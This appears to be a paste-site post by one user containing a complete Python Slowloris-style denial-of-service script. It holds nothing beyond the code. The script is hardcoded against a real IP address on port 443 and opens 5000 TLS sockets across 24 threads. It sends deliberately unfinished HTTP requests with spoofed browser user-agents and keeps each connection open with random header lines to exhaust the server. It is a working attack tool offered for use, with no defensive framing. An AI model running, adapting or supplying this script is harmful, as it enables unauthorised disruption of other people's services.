111

young12388 2026-07-27 16:27:02

import socket
import time
import random
import argparse
import threading
import secrets
import ssl

HOST = "8.138.16.113"
PORT = 443
SOCKETS = 5000
TIMEOUT = 5
INTERVAL = 5
USE_SSL = True
THREADS = 24

def set_keepalive(sock):
    try:
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
        if hasattr(socket, 'SIO_KEEPALIVE_VALS'):
            sock.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 10000, 3000))
        elif hasattr(socket, 'TCP_KEEPIDLE'):
            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 10)
            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 3)
            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 3)
    except:
        pass

def new_sock(host, port, ssl_on):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(TIMEOUT)
        set_keepalive(s)
        s.connect((host, port))
        if ssl_on:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            s = ctx.wrap_socket(s, server_hostname=host)
        ver = f"{random.randint(500,600)}.0"
        cv = f"{random.randint(100,150)}.{random.randint(0,99)}.{random.randint(1000,9999)}.{random.randint(100,999)}"
        # 最后不加\r\n
        req = f"GET / HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/{ver} (KHTML, like Gecko) Chrome/{cv} Safari/{ver}"
        s.send(req.encode())
        return s
    except Exception as e:
        print(e)
        return None

def alive(sock):
    try:
        sock.send(f"{secrets.token_urlsafe(4)}{random.randint(1,9999)}: {random.randint(1,9999)}\r\n".encode())
        return True
    except:
        return False

def worker(host, port, ssl_on, target, interval, stop):
    pool = []
    while len(pool) < target and not stop.is_set():
        s = new_sock(host, port, ssl_on)
        if s: pool.append(s)
        else: time.sleep(0.5)
    while not stop.is_set():
        dead = [s for s in pool if not alive(s)]
        for s in dead:
            try: s.close()
            except: pass
            pool.remove(s)
        while len(pool) < target and not stop.is_set():
            s = new_sock(host, port, ssl_on)
            if s: pool.append(s)
            else: break
        stop.wait(interval)
    for s in pool:
        try: s.close()
        except: pass

def main():
    p = argparse.ArgumentParser()
    p.add_argument('--host', default=HOST)
    p.add_argument('--port', type=int, default=PORT)
    p.add_argument('--sockets', type=int, default=SOCKETS)
    p.add_argument('--interval', type=int, default=INTERVAL)
    p.add_argument('--usessl', action='store_true', default=USE_SSL)
    p.add_argument('--threads', type=int, default=THREADS)
    args = p.parse_args()

    base = args.sockets // args.threads
    rem = args.sockets % args.threads
    targets = [base + (1 if i < rem else 0) for i in range(args.threads)]

    stop = threading.Event()
    for i, t in enumerate(targets):
        threading.Thread(target=worker, args=(args.host, args.port, args.usessl, t, args.interval, stop), daemon=True).start()

    print(f"Running: {args.threads} threads, {args.sockets} sockets total (Ctrl+C to stop)")
    try:
        while True: time.sleep(1)
    except KeyboardInterrupt:
        print("\nStopping...")
        stop.set()
        print("Done.")

if __name__ == "__main__":
    main()